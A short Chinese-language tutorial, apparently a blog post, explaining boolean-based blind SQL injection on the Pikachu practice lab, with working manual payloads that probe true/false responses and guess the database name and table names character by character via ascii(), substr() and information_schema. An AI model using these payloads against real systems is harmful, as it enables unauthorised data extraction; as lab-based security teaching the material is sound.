基于boolean的盲注主要表现:
1.没有报错信息
2.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
3.在正确的输入下,输入and 1=1/and 1= 2发现可以判断
-
首先用’来测试一下
-
然后输入kobe’ and 1=1#,当改成1=2时,显示“不存在”。此时,说明存在SQL注入点,因为会把我们输入的 1=1,1=2执行
-
输入kobe’ and ascii(substr(database(),1,1))>113# 显示“不存在”
(因为手工注入,如果要猜测数据库的名字(如pikachu)耗费时间太长,所以直接比较113。ps:p对应的ASCII码是112)
在盲注时,经常使用的函数有length():获取长度、ascii():转换成ASCII码、substr():截取某个字符串中从某位开始的几个字符。
- 输入kobe’ and ascii(substr(database(),1,1))=112# 显示成功
此时,可以确定数据库的第一个字母为p - 按照这个逻辑,我们可以查找其他信息,比如输入kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112# 查找pikachu里第一个表的第一个字符 显示成功,说明那个字符的ASCII码比112小
虽然手工注入比工具注入慢,但是有助于我们理解原理,这是很有必要的。
如果这篇文章对您有帮助,麻烦点个赞吧~